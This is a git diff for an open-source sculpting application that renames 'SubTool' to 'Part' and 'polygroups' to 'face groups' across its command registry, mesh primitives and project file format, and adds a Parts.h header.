- for (uint32_t g : doc.mesh.polygroups) group = std::max(group, g);
- prim.polygroups.assign(prim.triangles.size(), group + 1);
+ for (uint32_t g : doc.mesh.facegroups) group = std::max(group, g);
+ prim.facegroups.assign(prim.triangles.size(), group + 1);
prim.recomputeAllNormals();
// Symmetry: a copy for each mirror image and radial turn (about the same centre as the brushes'), in the
- // same polygroup and the same undo step. A copy that would land on one already there (inserted on a plane
+ // same face group and the same undo step. A copy that would land on one already there (inserted on a plane
// or the radial axis itself) is left out.
std::vector<Mesh> copies;
std::vector<glm::vec3> placed{at};
@@ -307,36 +307,36 @@ CommandResult insertPiece(Document& doc, Mesh prim, const Args& a, const std::st
} // namespace
-void registerSubToolCommands(CommandRegistry& reg) {
+void registerPartCommands(CommandRegistry& reg) {
using T = ParamSpec::Type;
const ParamSpec indexParam{"index", T::Number, "Part index (0 = top of the list). Default: the active one.", false};
const ParamSpec nameParam{"name", T::String, "Part name (instead of index).", false};
- reg.add({"subtool_list", "List the Parts (separate meshes) in the scene.", {},
+ reg.add({"part_list", "List the Parts (separate meshes) in the scene.", {},
[](Document& doc, const Args&) -> CommandResult {
- std::string out = std::to_string(doc.subtoolCount()) + " Part" + (doc.subtoolCount() == 1 ? "" : "s") + ":";
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- const SubTool& s = doc.subtools[size_t(i)];
- out += "\n" + std::to_string(i) + ". " + s.name + " (" + countText(doc.subtoolMesh(i).triangleCount());
- if (subdivLevelCount(doc.subtoolMesh(i))) out += ", " + subdivLevelText(doc.subtoolMesh(i));
- if (i == doc.activeSubtool) out += ", active";
+ std::string out = std::to_string(doc.partCount()) + " Part" + (doc.partCount() == 1 ? "" : "s") + ":";
+ for (int i = 0; i < doc.partCount(); ++i) {
+ const Part& s = doc.parts[size_t(i)];
+ out += "\n" + std::to_string(i) + ". " + s.name + " (" + countText(doc.partMesh(i).triangleCount());
+ if (subdivLevelCount(doc.partMesh(i))) out += ", " + subdivLevelText(doc.partMesh(i));
+ if (i == doc.activePart) out += ", active";
if (!s.visible) out += ", hidden";
out += ")";
}
return {true, out};
}});
- reg.add({"subtool_select", "Make a Part the active one: brushes and commands work on it.", {indexParam, nameParam},
+ reg.add({"part_select", "Make a Part the active one: brushes and commands work on it.", {indexParam, nameParam},
[](Document& doc, const Args& a) -> CommandResult {
if (!a.contains("index") && !a.contains("name")) return {false, "Give index= or name="};
- const int i = targetSubtool(doc, a);
+ const int i = targetPart(doc, a);
if (i < 0) return notFound(a);
- doc.selectSubtool(i);
- doc.subtools[size_t(i)].visible = true; // you can't sculpt what you can't see
- return {true, "Active Part: " + doc.subtools[size_t(i)].name};
+ doc.selectPart(i);
+ doc.parts[size_t(i)].visible = true; // you can't sculpt what you can't see
+ return {true, "Active Part: " + doc.parts[size_t(i)].name};
}});
- reg.add({"subtool_append",
+ reg.add({"part_append",
"Add a new Part: a primitive (sphere, cube, plane) placed beside the visible model, or a model file. "
"It becomes the active Part.",
{{"type", T::String, "'sphere' (default), 'cube', 'plane', 'cylinder', 'cone', 'torus', 'capsule', 'icosphere' or 'quadsphere'.", false},
@@ -348,35 +348,35 @@ void registerSubToolCommands(CommandRegistry& reg) {
std::string name;
if (a.contains("path")) {
// Load through `open` into a scratch document, so every format and its attributes work;
- // each object in the file becomes its own SubTool.
+ // each object in the file becomes its own Part.
Document scratch;
const std::string path = argString(a, "path");
CommandResult r = CommandRegistry().execute(scratch, "open", {{"path", path}});
if (!r.ok) return r;
- if (scratch.subtoolCount() == 1) {
+ if (scratch.partCount() == 1) {
if (scratch.mesh.triangleCount() == 0) return {false, path + " has no mesh to append"};
m = std::move(scratch.mesh);
name = fileStem(path);
} else {
- const int first = doc.subtoolCount();
+ const int first = doc.partCount();
size_t tris = 0;
- for (int i = 0; i < scratch.subtoolCount(); ++i) {
- tris += scratch.subtoolMesh(i).triangleCount();
- doc.addSubtool(std::move(scratch.subtoolMesh(i)), scratch.subtools[size_t(i)].name, false);
+ for (int i = 0; i < scratch.partCount(); ++i) {
+ tris += scratch.partMesh(i).triangleCount();
+ doc.addPart(std::move(scratch.partMesh(i)), scratch.parts[size_t(i)].name, false);
}
- doc.selectSubtool(first);
- return {true, "Appended " + std::to_string(scratch.subtoolCount()) + " Parts from " + path + " (" +
+ doc.selectPart(first);
+ return {true, "Appended " + std::to_string(scratch.partCount()) + " Parts from " + path + " (" +
countText(tris) + ")"};
}
} else {
const std::string type = argString(a, "type", "sphere");
- // Sized from the largest visible SubTool (so repeated appends neither grow nor shrink),
+ // Sized from the largest visible Part (so repeated appends neither grow nor shrink),
// placed beside everything shown.
const AABB scene = doc.visibleBounds();
float extent = 0.0f;
- for (int i = 0; i < doc.subtoolCount(); ++i) {
- const Mesh& sm = doc.subtoolMesh(i);
- if (!doc.subtools[size_t(i)].visible || !sm.vertexCount()) continue;
+ for (int i = 0; i < doc.partCount(); ++i) {
+ const Mesh& sm = doc.partMesh(i);
+ if (!doc.parts[size_t(i)].visible || !sm.vertexCount()) continue;
const glm::vec3 e = sm.bounds().extent();
extent = std::max({extent, e.x, e.y, e.z});
}
@@ -405,8 +405,8 @@ void registerSubToolCommands(CommandRegistry& reg) {
}
if (a.contains("name")) name = argString(a, "name");
const size_t tris = m.triangleCount();
- const int i = doc.addSubtool(std::move(m), name);
- return {true, "Appended Part " + doc.subtools[size_t(i)].name + " (" + countText(tris) + ")"};
+ const int i = doc.addPart(std::move(m), name);
+ return {true, "Appended Part " + doc.parts[size_t(i)].name + " (" + countText(tris) + ")"};
}});
const std::vector<ParamSpec> placeParams{
@@ -439,7 +439,7 @@ void registerSubToolCommands(CommandRegistry& reg) {
}});
std::vector<ParamSpec> meshParams{
- {"subtool", T::String, "insert a copy of this Part (by name)", false},
+ {"part", T::String, "insert a copy of this Part (by name)", false},
{"file", T::String, "insert the mesh in this model file (.obj, .ply or .glb)", false}};
meshParams.insert(meshParams.end(), placeParams.begin(), placeParams.end());
reg.add({"insert_mesh",
@@ -450,14 +450,14 @@ void registerSubToolCommands(CommandRegistry& reg) {
[](Document& doc, const Args& a) -> CommandResult {
const std::string blocked = dyntopoBlocker(doc.mesh);
if (!blocked.empty()) return {false, "Can't insert: " + blocked};
- if (a.contains("subtool") == a.contains("file")) return {false, "Give subtool= or file="}; // marks-pending
+ if (a.contains("part") == a.contains("file")) return {false, "Give part= or file="};
Mesh source;
std::string label;
- if (a.contains("subtool")) {
- label = argString(a, "subtool");
- const int i = doc.findSubtool(label);
+ if (a.contains("part")) {
+ label = argString(a, "part");
+ const int i = doc.findPart(label);
if (i < 0) return {false, "No Part named '" + label + "'"};
- source = doc.subtoolMesh(i);
+ source = doc.partMesh(i);
} else {
const std::string path = argString(a, "file");
std::string error;
@@ -470,154 +470,154 @@ void registerSubToolCommands(CommandRegistry& reg) {
return insertPiece(doc, std::move(piece), a, label);
}});
- reg.add({"subtool_duplicate", "Copy a Part (with its layers and attributes) and make the copy active.",
+ reg.add({"part_duplicate", "Copy a Part (with its layers and attributes) and make the copy active.",
{indexParam, nameParam},
[](Document& doc, const Args& a) -> CommandResult {
- const int i = targetSubtool(doc, a);
+ const int i = targetPart(doc, a);
if (i < 0) return notFound(a);
- Mesh copy = doc.subtoolMesh(i);
- const Shading shading = doc.subtools[size_t(i)].shading;
- const int added = doc.addSubtool(std::move(copy), doc.subtools[size_t(i)].name + " copy", true, i + 1);
- doc.subtools[size_t(added)].shading = shading;
- return {true, "Duplicated as " + doc.subtools[size_t(added)].name};
+ Mesh copy = doc.partMesh(i);
+ const Shading shading = doc.parts[size_t(i)].shading;
+ const int added = doc.addPart(std::move(copy), doc.parts[size_t(i)].name + " copy", true, i + 1);
+ doc.parts[size_t(added)].shading = shading;
+ return {true, "Duplicated as " + doc.parts[size_t(added)].name};
}});
- reg.add({"subtool_delete", "Delete a Part (not undoable). The last Part can't be deleted.",
+ reg.add({"part_delete", "Delete a Part (not undoable). The last Part can't be deleted.",
{indexParam, nameParam},
[](Document& doc, const Args& a) -> CommandResult {
- const int i = targetSubtool(doc, a);
+ const int i = targetPart(doc, a);
if (i < 0) return notFound(a);
- if (doc.subtoolCount() == 1) return {false, "The scene needs at least one Part"};
- const std::string name = doc.subtools[size_t(i)].name;
- doc.removeSubtool(i);
+ if (doc.partCount() == 1) return {false, "The scene needs at least one Part"};
+ const std::string name = doc.parts[size_t(i)].name;
+ doc.removePart(i);
return {true, "Deleted Part " + name};
}});
- reg.add({"subtool_rename", "Rename a Part.",
+ reg.add({"part_rename", "Rename a Part.",
{{"to", T::String, "The new name.", true}, indexParam, nameParam},
[](Document& doc, const Args& a) -> CommandResult {
- const int i = targetSubtool(doc, a);
+ const int i = targetPart(doc, a);
if (i < 0) return notFound(a);
std::string to = argString(a, "to");
if (to.empty()) return {false, "The name can't be empty"};
- if (doc.subtools[size_t(i)].name != to) to = doc.uniqueSubtoolName(to);
- doc.subtools[size_t(i)].name = to;
+ if (doc.parts[size_t(i)].name != to) to = doc.uniquePartName(to);
+ doc.parts[size_t(i)].name = to;
doc.modified = true;
return {true, "Renamed to " + to};
}});
- reg.add({"subtool_visibility", "Show or hide a Part. Hidden Parts aren't drawn, picked or exported.",
+ reg.add({"part_visibility", "Show or hide a Part. Hidden Parts aren't drawn, picked or exported.",
{{"visible", T::Bool, "true to show, false to hide. Default: toggle.", false}, indexParam, nameParam},
[](Document& doc, const Args& a) -> CommandResult {
- const int i = targetSubtool(doc, a);
+ const int i = targetPart(doc, a);
if (i < 0) return notFound(a);
- SubTool& s = doc.subtools[size_t(i)];
+ Part& s = doc.parts[size_t(i)];
s.visible = argBool(a, "visible", !s.visible);
doc.modified = true;
return {true, s.name + (s.visible ? " shown" : " hidden")};
}});
- reg.add({"subtool_shading",
+ reg.add({"part_shading",
"Shade a Part smooth or flat (faceted), or as the scene's Flat shading setting says (default).",
{{"mode", T::String, "default, smooth or flat.", true}, indexParam, nameParam},
[](Document& doc, const Args& a) -> CommandResult {
- const int i = targetSubtool(doc, a);
+ const int i = targetPart(doc, a);
if (i < 0) return notFound(a);
Shading mode;
if (!parseShading(argString(a, "mode"), mode))
return {false, "Unknown shading '" + argString(a, "mode") + "' (default, smooth, flat)"};
- SubTool& s = doc.subtools[size_t(i)];
+ Part& s = doc.parts[size_t(i)];
if (s.shading != mode) doc.modified = true;
s.shading = mode;
return {true, s.name + " shading: " + shadingName(mode)};
}});
- reg.add({"subtool_solo", "Show only the active Part, or (when it already is the only one shown) show all again.", {},
+ reg.add({"part_solo", "Show only the active Part, or (when it already is the only one shown) show all again.", {},
[](Document& doc, const Args&) -> CommandResult {
bool othersShown = false;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- othersShown |= i != doc.activeSubtool && doc.subtools[size_t(i)].visible;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- doc.subtools[size_t(i)].visible = i == doc.activeSubtool || !othersShown;
+ for (int i = 0; i < doc.partCount(); ++i)
+ othersShown |= i != doc.activePart && doc.parts[size_t(i)].visible;
+ for (int i = 0; i < doc.partCount(); ++i)
+ doc.parts[size_t(i)].visible = i == doc.activePart || !othersShown;
doc.modified = true;
- return {true, othersShown ? "Solo: " + doc.activeSubtoolInfo().name : std::string("All Parts shown")};
+ return {true, othersShown ? "Solo: " + doc.activePartInfo().name : std::string("All Parts shown")};
}});
- reg.add({"subtool_show_all", "Show every Part.", {},
+ reg.add({"part_show_all", "Show every Part.", {},
[](Document& doc, const Args&) -> CommandResult {
- for (auto& s : doc.subtools) s.visible = true;
+ for (auto& s : doc.parts) s.visible = true;
doc.modified = true;
return {true, "All Parts shown"};
}});
- reg.add({"subtool_move", "Move a Part up or down the list.",
+ reg.add({"part_move", "Move a Part up or down the list.",
{{"direction", T::String, "'up' or 'down'.", true}, indexParam, nameParam},
[](Document& doc, const Args& a) -> CommandResult {
- const int i = targetSubtool(doc, a);
+ const int i = targetPart(doc, a);
if (i < 0) return notFound(a);
const int dir = argString(a, "direction") == "up" ? -1 : 1;
- if (i + dir < 0 || i + dir >= doc.subtoolCount()) return {false, "Already at the " + std::string(dir < 0 ? "top" : "bottom")};
- doc.moveSubtool(i, dir);
- return {true, "Moved " + doc.subtools[size_t(i + dir)].name + (dir < 0 ? " up" : " down")};
+ if (i + dir < 0 || i + dir >= doc.partCount()) return {false, "Already at the " + std::string(dir < 0 ? "top" : "bottom")};
+ doc.movePart(i, dir);
+ return {true, "Moved " + doc.parts[size_t(i + dir)].name + (dir < 0 ? " up" : " down")};
}});
- reg.add({"subtool_merge_down",
+ reg.add({"part_merge_down",
"Merge the active Part with the one below it into one mesh (not undoable). Each keeps its own "
- "face groups, so subtool_split_groups can separate them again. Painted textures are kept in one new " // marks-pending
+ "face groups, so part_split_groups can separate them again. Painted textures are kept in one new "
"texture on new Auto UVs.",
{{"keep_texture", T::Bool, "Keep painted textures (Auto UV the result and copy them in). Default true.", false}},
[](Document& doc, const Args& a) -> CommandResult {
- const int i = doc.activeSubtool;
- if (i + 1 >= doc.subtoolCount()) return {false, "There's no Part below " + doc.activeSubtoolInfo().name};
- Mesh merged = mergeMeshes({&doc.subtoolMesh(i), &doc.subtoolMesh(i + 1)});
- const std::string texture = carryMergedTexturesNote({&doc.subtoolMesh(i), &doc.subtoolMesh(i + 1)}, merged,
+ const int i = doc.activePart;
+ if (i + 1 >= doc.partCount()) return {false, "There's no Part below " + doc.activePartInfo().name};
+ Mesh merged = mergeMeshes({&doc.partMesh(i), &doc.partMesh(i + 1)});
+ const std::string texture = carryMergedTexturesNote({&doc.partMesh(i), &doc.partMesh(i + 1)}, merged,
argBool(a, "keep_texture", true));
- for (int k : {i, i + 1}) noteSubtoolLevelsDropped(doc, k); // merged at their current levels
- const std::string name = doc.subtools[size_t(i)].name, below = doc.subtools[size_t(i + 1)].name;
- doc.removeSubtool(i + 1);
+ for (int k : {i, i + 1}) notePartLevelsDropped(doc, k); // merged at their current levels
+ const std::string name = doc.parts[size_t(i)].name, below = doc.parts[size_t(i + 1)].name;
+ doc.removePart(i + 1);
doc.replaceActiveMesh(std::move(merged));
return {true, "Merged " + below + " into " + name + " (" + countText(doc.mesh.triangleCount()) + ")" + texture};
}});
- reg.add({"subtool_merge_visible",
+ reg.add({"part_merge_visible",
"Merge every visible Part into one new Part, replacing them (not undoable). Hidden Parts stay "
"as they are. Painted textures are kept in one new texture on new Auto UVs.",
{{"keep_texture", T::Bool, "Keep painted textures (Auto UV the result and copy them in). Default true.", false}},
[](Document& doc, const Args& a) -> CommandResult {
std::vector<int> visible;
- for (int i = 0; i < doc.subtoolCount(); ++i)
- if (doc.subtools[size_t(i)].visible) visible.push_back(i);
+ for (int i = 0; i < doc.partCount(); ++i)
+ if (doc.parts[size_t(i)].visible) visible.push_back(i);
if (visible.size() < 2) return {false, "Show at least two Parts to merge"};
Mesh merged = mergedVisibleMesh(doc);
std::vector<const Mesh*> parts; // as mergedVisibleMesh gathers them
for (int i : visible)
- if (doc.subtoolMesh(i).triangleCount()) parts.push_back(&doc.subtoolMesh(i));
+ if (doc.partMesh(i).triangleCount()) parts.push_back(&doc.partMesh(i));
const std::string texture =
parts.size() > 1 ? carryMergedTexturesNote(parts, merged, argBool(a, "keep_texture", true)) : std::string();
- for (int k : visible) noteSubtoolLevelsDropped(doc, k); // merged at their current levels
+ for (int k : visible) notePartLevelsDropped(doc, k); // merged at their current levels
const size_t tris = merged.triangleCount();
const int at = visible.front();
- doc.addSubtool(std::move(merged), "Merged", true, at);
- for (auto it = visible.rbegin(); it != visible.rend(); ++it) doc.removeSubtool(*it + 1);
+ doc.addPart(std::move(merged), "Merged", true, at);
+ for (auto it = visible.rbegin(); it != visible.rend(); ++it) doc.removePart(*it + 1);
return {true, "Merged " + std::to_string(visible.size()) + " Parts into " +
- doc.activeSubtoolInfo().name + " (" + countText(tris) + ")" + texture};
+ doc.activePartInfo().name + " (" + countText(tris) + ")" + texture};
}});
- reg.add({"subtool_split_groups", "Split the active Part into one Part per face group (not undoable).", {},
+ reg.add({"part_split_groups", "Split the active Part into one Part per face group (not undoable).", {},
[](Document& doc, const Args&) -> CommandResult {
- auto pieces = splitByPolygroups(doc.mesh);
- if (pieces.empty()) return {false, doc.activeSubtoolInfo().name + " has only one face group"};
+ auto pieces = splitByFaceGroups(doc.mesh);
+ if (pieces.empty()) return {false, doc.activePartInfo().name + " has only one face group"};
const size_t n = pieces.size();
- replaceWithPieces(doc, doc.activeSubtool, std::move(pieces));
+ replaceWithPieces(doc, doc.activePart, std::move(pieces));
return {true, "Split into " + std::to_string(n) + " Parts"};
}});
- reg.add({"subtool_split_parts", "Split the active Part into one Part per disconnected piece (not undoable).", {},
+ reg.add({"part_split_parts", "Split the active Part into one Part per disconnected piece (not undoable).", {},
[](Document& doc, const Args&) -> CommandResult {
auto pieces = splitIntoParts(doc.mesh);
- if (pieces.empty()) return {false, doc.activeSubtoolInfo().name + " is a single piece"};
+ if (pieces.empty()) return {false, doc.activePartInfo().name + " is a single piece"};
const size_t n = pieces.size();
- replaceWithPieces(doc, doc.activeSubtool, std::move(pieces));
+ replaceWithPieces(doc, doc.activePart, std::move(pieces));
return {true, "Split into " + std::to_string(n) + " Parts"};
}});
}
diff --git a/src/core/Parts.h b/src/core/Parts.h
new file mode 100644
index 00000000..930156d2
--- /dev/null
+++ b/src/core/Parts.h
@@ -0,0 +1,51 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// Parts, classic: a scene is a list of separate meshes (body, eyes,
+// teeth, armour) that are sculpted one at a time, shown or hidden, merged and
+// split. The data model lives in Document (see Part); this file holds the
+// mesh operations and the part_* commands.
+#pragma once
+
+#include "core/Document.h"
+#include "io/MeshObject.h"
+
+#include <string>
+#include <vector>
+
+namespace sf {
+
+class CommandRegistry;
+
+// Concatenates meshes into one. Every attribute any input has is kept (inputs
+// without it get the default), face group ids are offset so each input keeps
+// its own groups (inputs without face groups become one group each), and sculpt
+// layers are matched by name.
+Mesh mergeMeshes(const std::vector<const Mesh*>& meshes);
+
+// The visible Parts merged into one mesh (for exporters that write a single
+// mesh). With one Part this is a copy of it, whether shown or not.
+Mesh mergedVisibleMesh(const Document& doc);
+
+// The visible Parts that have triangles, in list order and named after
+// them, for exporters that write one object per Part. With a single Part
+// it is that one (shown or not) named doc.assetName(), so one-object exports
+// stay as they were.
+std::vector<MeshObjectRef> visiblePartObjects(const Document& doc);
+
+// Replaces the scene with one Part per object (the first one active), named
+// after the objects. A single object, or an unnamed one, is named
+// `fallbackName` (e.g. the file name). Clears the edit history like setMesh.
+void setSceneObjects(Document& doc, std::vector<MeshObject> objects, const std::string& fallbackName);
+
+// One mesh per face group, in increasing group id order (empty if there's only one group).
+std::vector<Mesh> splitByFaceGroups(const Mesh& mesh);
+// One mesh per connected piece, largest first (empty if the mesh is one piece).
+std::vector<Mesh> splitIntoParts(const Mesh& mesh);
+
+// part_list, part_select, part_append, part_duplicate, part_delete,
+// part_rename, part_visibility, part_solo, part_show_all, part_move,
+// part_merge_down, part_merge_visible, part_split_groups, part_split_parts.
+void registerPartCommands(CommandRegistry& registry);
+
+} // namespace sf
diff --git a/src/core/PathStroke.h b/src/core/PathStroke.h
index 2106d0a0..676057e1 100644
--- a/src/core/PathStroke.h
+++ b/src/core/PathStroke.h
@@ -3,7 +3,7 @@
//
// Headless strokes: applies a brush along a path of world-space points, the
// way a cursor drag does in the viewport. Each dab lands where a ray along the
-// view direction through the path point meets the active SubTool, so a path
+// view direction through the path point meets the active Part, so a path
// drawn in the camera's plane behaves like a screen-space stroke. Used by the
// `stroke` command (scripts, AI agents, brush preview renders) and tests.
#pragma once
@@ -37,7 +37,7 @@ bool parseVec3(const std::string& text, glm::vec3& out);
// Samples the path at even `step` distance (curved through the points when `curve` is set).
std::vector<glm::vec3> samplePath(const std::vector<glm::vec3>& points, bool curve, float step);
-// Strokes the active SubTool with `recipe` (when not null) or the built-in brush `type`,
+// Strokes the active Part with `recipe` (when not null) or the built-in brush `type`,
// as one undoable step. Returns the number of dabs that hit the surface, or -1 on error.
int strokePath(Document& doc, const BrushRecipe* recipe, BrushType type, const PathStroke& stroke, std::string& error);
diff --git a/src/core/Primitives.cpp b/src/core/Primitives.cpp
index 33fc3aaf..f69de217 100644
--- a/src/core/Primitives.cpp
+++ b/src/core/Primitives.cpp
@@ -97,8 +97,8 @@ Mesh makeCube(int resolution, float size) {
raw.triangles.push_back({a, c, b}); // (v x u) = outward normal on every side
raw.triangles.push_back({b, c, d});
raw.pairQuad(uint32_t(raw.triangles.size() - 2), uint32_t(raw.triangles.size() - 1));
- raw.polygroups.push_back(uint32_t(f + 1));
- raw.polygroups.push_back(uint32_t(f + 1));
+ raw.facegroups.push_back(uint32_t(f + 1));
+ raw.facegroups.push_back(uint32_t(f + 1));
}
}
return weldImported(raw);
@@ -115,7 +115,7 @@ void faceOutwards(Mesh& m) {
}
// A surface of revolution about Y from a profile of (radius, height) points, bottom to top. A radius of 0 is a
-// pole (a triangle fan); everything else is rings of quads. group[k] is the polygroup between points k and k+1.
+// pole (a triangle fan); everything else is rings of quads. group[k] is the face group between points k and k+1.
Mesh revolve(const std::vector<glm::vec2>& profile, const std::vector<uint32_t>& group, int segments) {
Mesh raw;
const int n = std::max(segments, 3);
@@ -143,9 +143,9 @@ Mesh revolve(const std::vector<glm::vec2>& profile, const std::vector<uint32_t>&
raw.triangles.push_back({a, c, b});
raw.triangles.push_back({b, c, d});
raw.pairQuad(uint32_t(raw.triangles.size() - 2), uint32_t(raw.triangles.size() - 1));
- raw.polygroups.push_back(group[k]);
+ raw.facegroups.push_back(group[k]);
}
- raw.polygroups.push_back(group[k]);
+ raw.facegroups.push_back(group[k]);
}
}
faceOutwards(raw);
@@ -218,8 +218,8 @@ Mesh makeTorus(int segments, float size) {
raw.triangles.push_back({a, c, b});
raw.triangles.push_back({b, c, d});
raw.pairQuad(uint32_t(raw.triangles.size() - 2), uint32_t(raw.triangles.size() - 1));
- raw.polygroups.push_back(1);
- raw.polygroups.push_back(1);
+ raw.facegroups.push_back(1);
+ raw.facegroups.push_back(1);
}
faceOutwards(raw);
return weldImported(raw);
@@ -305,7 +305,7 @@ Mesh loopSubdivide(const Mesh& src) {
for (const auto& l : src.layers) out.layers.push_back({l.name, subdivideAttribute(l.delta), l.weight});
}
- // Mask and polypaint are interpolated linearly (old vertices keep their
+ // Mask and vertex paint are interpolated linearly (old vertices keep their
// value, edge vertices take the average) so painted borders stay crisp.
auto interpolateLinear = [&](const auto& A) {
std::remove_cvref_t<decltype(A)> result(next);
@@ -323,7 +323,7 @@ Mesh loopSubdivide(const Mesh& src) {
}
const size_t nt = src.triangles.size();
- const bool groups = src.polygroups.size() == nt, hidden = src.hidden.size() == nt, uvs = src.uvs.size() == nt * 3;
+ const bool groups = src.facegroups.size() == nt, hidden = src.hidden.size() == nt, uvs = src.uvs.size() == nt * 3;
out.triangles.reserve(nt * 4);
for (size_t ti = 0; ti < nt; ++ti) {
const auto& t = src.triangles[ti];
@@ -335,7 +335,7 @@ Mesh loopSubdivide(const Mesh& src) {
out.triangles.push_back({t.z, ca, bc});
out.triangles.push_back({ab, bc, ca});
// Children inherit their parent's group and visibility.
- if (groups) out.polygroups.insert(out.polygroups.end(), 4, src.polygroups[ti]);
+ if (groups) out.facegroups.insert(out.facegroups.end(), 4, src.facegroups[ti]);
if (hidden) out.hidden.insert(out.hidden.end(), 4, src.hidden[ti]);
if (uvs) {
const glm::vec2 ua = src.uvs[ti * 3], ub = src.uvs[ti * 3 + 1], uc = src.uvs[ti * 3 + 2];
diff --git a/src/core/Primitives.h b/src/core/Primitives.h
index 4c4ec8c0..501b7862 100644
--- a/src/core/Primitives.h
+++ b/src/core/Primitives.h
@@ -10,9 +10,9 @@ namespace sf {
Mesh makeIcosphere(int subdivisions, float radius = 1.0f);
// Plane and cube are made of quads (Mesh::quadPartners).
Mesh makePlane(int resolution, float size = 2.0f);
-// Closed cube from -size/2 to size/2 with `resolution` cells per edge (welded, one polygroup per side).
+// Closed cube from -size/2 to size/2 with `resolution` cells per edge (welded, one face group per side).
Mesh makeCube(int resolution, float size = 2.0f);
-// Base-mesh primitives (#31), quads where possible (triangle fans only at poles and cap centres), one polygroup
+// Base-mesh primitives (#31), quads where possible (triangle fans only at poles and cap centres), one face group
// per part (caps, sides), fitting in a box of `size`, centred on the origin, axis along Y.
Mesh makeCylinder(int segments, float size = 2.0f);
Mesh makeCone(int segments, float size = 2.0f);
@@ -22,7 +22,7 @@ Mesh makeCapsule(int segments, float size = 2.0f);
Mesh makeQuadSphere(int resolution, float size = 2.0f);
// Loop subdivision (smooth; boundaries follow the cubic B-spline rule).
// Layers are subdivided with the same stencils; mask/colours/UVs are
-// interpolated linearly and polygroups/hidden flags are inherited. Each quad
+// interpolated linearly and face groups/hidden flags are inherited. Each quad
// (a pair in Mesh::quadPartners) becomes four quads; triangles stay triangles.
Mesh loopSubdivide(const Mesh& mesh);
diff --git a/src/core/Project.cpp b/src/core/Project.cpp
index 00eae256..8cca7f0c 100644
--- a/src/core/Project.cpp
+++ b/src/core/Project.cpp
@@ -1,6 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
#include "core/Project.h"
+#include "core/LegacyNames.h"
#include "core/Micro.h"
#include "core/Timeline.h"
@@ -11,7 +12,7 @@
#include "core/SelectionSets.h"
#include "core/Texture.h"
#include "core/ThreadPool.h"
-#include "core/ZSpheres.h"
+#include "core/ForgeSpheres.h"
#include "io/Zip.h"
#include <algorithm>
@@ -54,13 +55,13 @@ ProjectThumbnailProvider& thumbnailProvider() {
// version 1); every other key belongs to
// Document::projectSettings (camera, render, brush, symmetry, ...).
const char* const kCoreKeys[] = {"format", "version", "app_version", "mesh", "layers", "active_layer",
- "subtools", "active_subtool", "brushes", "active_brush", "splats", "attachments"};
+ "parts", "active_part", "brushes", "active_brush", "splats", "attachments"};
std::filesystem::path fsPath(const std::string& p) { return std::filesystem::path(std::u8string(p.begin(), p.end())); }
constexpr size_t kMaxAttachmentSize = size_t(64) << 20;
-// Document::projectFiles names: "matcaps/Gold.png" - letters, digits, space . _ - and '/' between parts.
+// Document::projectFiles names: "lit spheres/Gold.png" - letters, digits, space . _ - and '/' between parts.
bool validAttachmentName(const std::string& name) {
if (name.empty() || name.size() > 200 || name.front() == '/' || name.back() == '/' || name.find("..") != std::string::npos)
return false;
@@ -331,7 +332,7 @@ size_t countOf(const Json& j) {
}
-// Writes a mesh's blobs under `prefix` ("subtools/0/") and sets `mesh` and `layers` in `out`. `generatedTriangles`:
+// Writes a mesh's blobs under `prefix` ("parts/0/") and sets `mesh` and `layers` in `out`. `generatedTriangles`:
// a generated subdivision level's triangle count; its triangles aren't written (format 6).
void writeMesh(Writer& w, const std::string& prefix, const Mesh& m, Json& out, size_t generatedTriangles = 0) {
Json mesh = Json::object();
@@ -347,8 +348,8 @@ void writeMesh(Writer& w, const std::string& prefix, const Mesh& m, Json& out, s
if (!m.layers.empty()) mesh.set("base", w.vec3s(prefix + "mesh/base.bin", m.base));
if (m.hasMask()) mesh.set("mask", w.floats(prefix + "mesh/mask.bin", m.mask.data(), m.mask.size(), 1));
if (m.hasColors()) mesh.set("colors", w.vec3s(prefix + "mesh/colors.bin", m.colors));
- if (m.hasPolygroups())
- mesh.set("polygroups", w.uints(prefix + "mesh/polygroups.bin", m.polygroups.data(), m.polygroups.size(), 1));
+ if (m.hasFaceGroups())
+ mesh.set("facegroups", w.uints(prefix + "mesh/facegroups.bin", m.facegroups.data(), m.facegroups.size(), 1));
if (m.hasHidden()) mesh.set("hidden", w.bytes(prefix + "mesh/hidden.bin", m.hidden));
if (m.hasUvs()) mesh.set("uvs", w.floats(prefix + "mesh/uvs.bin", &m.uvs[0].x, m.uvs.size(), 2));
if (m.hasUvFlags()) mesh.set("uv_flags", w.bytes(prefix + "mesh/uv_flags.bin", m.uvFlags)); // seams, pins (core/Uv.h)
@@ -396,9 +397,9 @@ bool readMesh(Reader& r, const Json& mj, const Json& lj, Mesh& m, std::string& e
r.floats(mj["mask"], "mask", nv, 1, m.mask.data());
}
if (mj.has("colors")) r.vec3s(mj["colors"], "colors", nv, m.colors);
- if (mj.has("polygroups")) {
- m.polygroups.resize(nt);
- r.uints(mj["polygroups"], "polygroups", nt, 1, m.polygroups.data());
+ if (mj.has("facegroups")) {
+ m.facegroups.resize(nt);
+ r.uints(mj["facegroups"], "facegroups", nt, 1, m.facegroups.data());
}
if (mj.has("hidden")) {
if (!r.bytes(mj["hidden"], "hidden flags", nt, m.hidden)) m.hidden.clear();
@@ -444,7 +445,7 @@ void finishMesh(Mesh& m) {
m.recomputeAllNormals();
}
-// Paint layers (core/PaintLayer.h) are their own SubTool key, "paint_layers", next to "mesh":
+// Paint layers (core/PaintLayer.h) are their own Part key, "paint_layers", next to "mesh":
// readers that don't know it load `mesh.colors`, the composited (flattened) paint.
Json writePaintLayers(Writer& w, const std::string& prefix, const Mesh& m) {
Json out = Json::object();
@@ -495,7 +496,7 @@ bool readPaintLayers(Reader& r, const Json& pj, Mesh& m, std::string& error) {
return true;
}
-// Texture painting (core/Texture.h) is the SubTool key "texture" (format 3): the size, where paint goes,
+// Texture painting (core/Texture.h) is the Part key "texture" (format 3): the size, where paint goes,
// and every layer as a PNG blob (top row = v 1, as image files are). Without layers "base" is the texture.
Json pngBlob(Writer& w, const std::string& file, int width, int height, const std::vector<uint8_t>& rgba) {
Image img;
@@ -621,9 +622,9 @@ bool readTexture(Reader& r, const Json& tj, Mesh& m, std::string& error) {
return true;
}
-// Subdivision levels (core/Multires.h) are the SubTool key "subdiv" (format 4; sculpt-layer details in local
